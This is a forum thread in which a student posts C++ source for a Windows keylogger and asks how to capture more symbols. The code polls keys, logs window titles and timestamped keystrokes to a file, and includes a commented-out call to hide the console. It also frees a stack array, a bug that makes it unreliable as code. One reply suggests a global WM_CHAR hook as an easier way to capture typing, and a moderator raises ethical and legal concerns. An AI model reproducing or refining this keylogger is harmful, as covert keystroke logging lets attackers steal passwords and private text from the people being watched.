CodeGuru Home VC++ / MFC / C++ .NET / C# Visual Basic VB Forums Developer.com
Results 1 to 9 of 9
  1. #1
    Join Date
    Sep 2014
    Posts
    7

    Help with Keylog Imposible to make.

    Hi everybody Im from Argentina. (My english is not the best but i can understand some things at all) Anyway Im making a Keylogger.
    The objective is to save all the posibilities pressed by the keyboard and then save all in a FILE .log

    1) I dont know why doesnt works.

    2)I want this program to be perfect. So must recognize all the key posibilities:

    -Numbers
    -Letters
    -Normal Simbols(,.?¿*è)
    -ASCII Simbols(☺☻♥♦)
    -Its imposible but... the legendary UNICODE SIMBOLS (×ô£,and alts + more higher numbers than 9999 for example)

    Some God of the programming in C++ can help me to finish this?




    Code:
    #include <stdio.h> 	//Estandar Entrada Salida
    #include <stdlib.h>  //Gestión de memoria dinámica/busquedas y ordenamientos.
    #include <windows.h>  //Desarrollo de aplicaciónes en windows
    #include <time.h>	//Toma tiempo real y fecha de los eventos
    
    #define GHOST -2147483647     //Testear cambio de limites
    
    int main()
    {
    		//Freeconsole();  Warning do not activate. 
    		FILE *log;      //Crear archivo en formato log
    		time_t tiempo; //Guarda la fecha de acción
    		HWND ventana;
    		int tecla=0;   //codigo ASCII
    		int cont=0;    //Contador
    		char Laventana[500]=""; //Inicializo sin carga los vectores
    		char teclas[10240]=""; //a partir de mas de 20k es inestable
    		char simbolos[256][15]= {"","","[CliC-I]","[CliC-D]","","[CliC-C]","","","[Retroceder]","[TAB]","",
            	      	              "","","[ENTER]","","","[SHIFT]","[CONTROL]","[ALT]","","[Mayusculas]",
                        	          "","","","","","","[Esc]","","","",
                          	     	  ""," ","[Re-Pag]","[Av-Pag]","","[Inicio]","[Izquierda]","[Arriba]","[Derecha]","[Abajo]",
                                	  "","","","[PrtSc]","[Insert]","[Supr]","","0","1","2",
                                  	  "3","4","5","6","7","8","9","","","",
                          	 	      "","","","","a","b","c","d","e","f",
                            	      "g","h","i","j","k","l","m","n","o","p",
                           	          "q","r","s","t","u","v","w","x","y","z",
                         	          "[WIN-I]","[WIN-D]","[D-WIN]","","","0","1","2","3",
                                      "4","5","6","7","8","9","*","+"," ","-",".",
                                      "/","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]",
                                      "[F10]","[F11]","[F12]"," "," "," "," "," "," "," ",
                                      " "," "," "," "," "," "," "," "," "," "," ",
                                      " "," ","[Bloq Num]"," "," "," "," "," "," ",
                                      " "," "," "," "," "," "," "," "," ","[Shift-I]",
                                      "[Shift-D]"," "," "," "," "," "," "," "," "," ",
                                      " "," "," "," "," "," "," "," "," "," ",
                                      " "," "," "," "," "," "," ",",","-",".",
                                      " "," "," "," "," "," "," "," "," ",
                                      " "," "," "," "," "," "," "," "," "," "," ",
                                      " "," "," "," "," "," "," "," ","'","\\",
                                      "¡","´" };
    		
    		log=fopen("log.log","a");
       fprintf(log,"GHOST esta funcionando");
       fclose(log);
               
       ventana=GetForegroundWindow(); 
       
       while(1) {
          if((GetForegroundWindow()!=ventana) || (cont==850)){
             if(strlen(Laventana)>0 && strlen(teclas)>0) {
                time(&tiempo);
                ctime(&tiempo);
    
                log=fopen("log.log","a");
                fprintf(log,"\n\n[*] Fecha: %s",ctime(&tiempo));
                fprintf(log,"[*] Ventana: %s ",Laventana);
                fprintf(log,"\n[*] Texto: %s",teclas);
                fprintf(log,"\n ");
                fprintf(log,"\n/******************************/\n");
                fclose(log);
    
                free(teclas);
                strcpy(teclas,"");
                cont = 0;
                }
             ventana=GetForegroundWindow();
             }
          else {
               GetWindowText(ventana,Laventana,500);
               }
          for(tecla=4;tecla<256;tecla++) {
              if (GetAsyncKeyState(tecla)==GHOST) {
                  strcat(teclas,simbolos[tecla]);
                  printf(" %s \n" ,simbolos[tecla]); 
                  cont++;
                  }
              }
        }
    }

  2. #2
    Join Date
    Apr 2000
    Location
    Belgium (Europe)
    Posts
    4,626

    Re: Help with Keylog Imposible to make.

    ... simbolos

    while there are only 256 possible virtual keys.
    THere are a LOT more symbols (some require multiple virtual keys). and there are even LOTS more virtual key combinations (like F3, Ctrl+F3, Alt+F3, Shift+F3, Ctrl+Alt+F3, Ctrl+Shift+F3, Alt+Shift+F3, Ctrl+Alt+Shift+F3, and then there's the keys with separate meaning for left/right version of shift, alt and/or control.

    You cannot simply convert a single Virtual key into a singular symbol like you're doing now and expect this to be a usable result.

    If you can assume only "normal keyboards", then sure, maybe you can live with the subset, but there are special keyboards for chinese, japanese, ... and there's things like dvorak and stenography keyboards.

    Also, there are multiple ways to generate a particular symbol, so an 'a' can be obtained in several ways.
    such as pressing A without shift, pressing shift+A while capslock is on, alt+97

  3. #3
    Join Date
    Sep 2014
    Posts
    7

    Re: Help with Keylog Imposible to make.

    Quote Originally Posted by OReubens View Post
    ... simbolos

    while there are only 256 possible virtual keys.
    THere are a LOT more symbols (some require multiple virtual keys). and there are even LOTS more virtual key combinations (like F3, Ctrl+F3, Alt+F3, Shift+F3, Ctrl+Alt+F3, Ctrl+Shift+F3, Alt+Shift+F3, Ctrl+Alt+Shift+F3, and then there's the keys with separate meaning for left/right version of shift, alt and/or control.

    You cannot simply convert a single Virtual key into a singular symbol like you're doing now and expect this to be a usable result.

    If you can assume only "normal keyboards", then sure, maybe you can live with the subset, but there are special keyboards for chinese, japanese, ... and there's things like dvorak and stenography keyboards.

    Also, there are multiple ways to generate a particular symbol, so an 'a' can be obtained in several ways.
    such as pressing A without shift, pressing shift+A while capslock is on, alt+97
    At least can you help me to get the common simbols? Like "?"¿" or "@" . If you dont, know where i can get info about creation of complete keylogs? Im looking info like a 3 months ago. And i cant find anything usefull. And most of the forums cant help me because they say its "No Ethical" .
    Exists other keylogs but no one can catch a big number of symbols.

    Please help !!

  4. #4
    2kaud's Avatar
    2kaud is offline Super Moderator Power Poster
    Join Date
    Dec 2012
    Location
    England
    Posts
    7,923

    Re: Help with Keylog Imposible to make.

    And most of the forums cant help me because they say its "No Ethical
    Yes - agreed.

    There are ethical and legal issues surrounding use of key loggers. That is why you won't find much help from the 'white' forums.
    All advice is offered in good faith only. All my code is tested (unless stated explicitly otherwise) with the latest version of Microsoft Visual Studio (using the supported features of the latest standard) and is offered as examples only - not as production quality. I cannot offer advice regarding any other c/c++ compiler/IDE or incompatibilities with VS. You are ultimately responsible for the effects of your programs and the integrity of the machines they run on. Anything I post, code snippets, advice, etc is licensed as Public Domain https://creativecommons.org/publicdomain/zero/1.0/ and can be used without reference or acknowledgement. Also note that I only provide advice and guidance via the forums - and not via private messages!

    C++23 Compiler: Microsoft VS2022 (17.6.5)

  5. #5
    Join Date
    Sep 2014
    Posts
    7

    Re: Help with Keylog Imposible to make.

    Quote Originally Posted by 2kaud View Post
    Yes - agreed.

    There are ethical and legal issues surrounding use of key loggers. That is why you won't find much help from the 'white' forums.
    Not necessary. What if a want to build an app to control my pc over my cellphone? Or if i want to do a keylog to my own security ?

    Im a student at Unlam University. I got no problems to reveal my identity. I just want to learn because i like this subject. I Just wanna see my program working and feels how it feels when somebody see his invention working.
    I got other projects but... at this day... No one of my projects are unfinished. I want the perfection in all that i made... but sometimes you need get info from other people or asociation and depend of them gives you the answer.
    Sure i can make it alone. But is like a really waste of time. Important time.

  6. #6
    Join Date
    Apr 2000
    Location
    Belgium (Europe)
    Posts
    4,626

    Re: Help with Keylog Imposible to make.

    Quote Originally Posted by Citrusl View Post
    At least can you help me to get the common simbols? Like "?"¿" or "@" .
    Unfortunately, I cannot help you.
    And no, it's not for any ethical reason.
    But because what you consider "common" is in fact not common at all.

    Only on spanish keyboards will you find an inverted ?.
    And Any such special symbols are in fact not generated as a result of a singlular keyscan but as a result of a multiple keyscan.

    If I wanted the inverted ?, on my "belgian" style keyboard, I can only do that by using Alt+0191

    the @ on my keyboard I can either get with Alt+64, or with RIGHT Alt (which is different from the left alt) + 2, or with Ctrl+LeftAlt+2

    So the annoying fact of the matter is... converting keyboard scan codes to symbols, is dependant on the keyboard driver, chosen language, and possible extra IME features.

    If you want to log typed symbols by capturing scancodes, you're in for a quite elaborate and complex undertaking if you want to do it generically. If you can live with it only working for your specific keyboard and language. You'll need to do some local testing.


    Generally, an easier way is logging typed symbols, by capturing WM_CHAR messages using a global windows message hook.
    The disadvantage there is that WM_CHAR doesn' t log special keys like function keys. If you need the combination, it'll get rather messy soon.
    Last edited by OReubens; October 1st, 2014 at 03:00 PM.

  7. #7
    Join Date
    Apr 2000
    Location
    Belgium (Europe)
    Posts
    4,626

    Re: Help with Keylog Imposible to make.

    Quote Originally Posted by Citrusl View Post
    Not necessary. What if a want to build an app to control my pc over my cellphone? Or if i want to do a keylog to my own security ?
    GENERATING input, is actually a lot easier that the reverse of GRABBING/logging typed input.

    If you just want to generate keys (and/or mouse movement/clicks), then what you need is the SendInput() API function.

  8. #8
    Join Date
    Sep 2014
    Posts
    7

    Re: Help with Keylog Imposible to make.

    You got right! i forgot that of the keyboard and countrys styles.

    In case of make it completelly full of simbols i shloud put them one by one ? Theres no a special function for any type of symbol? Ill try the sendInput().

  9. #9
    Join Date
    Sep 2014
    Posts
    7

    Re: Help with Keylog Imposible to make.

    I mean because i dont want to make 9999999 ifs.

    if(GetAsyncKeyState(0x41))
    {
    cout << "a";
    log+="a";
    };

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  





Click Here to Expand Forum to Full Width

Featured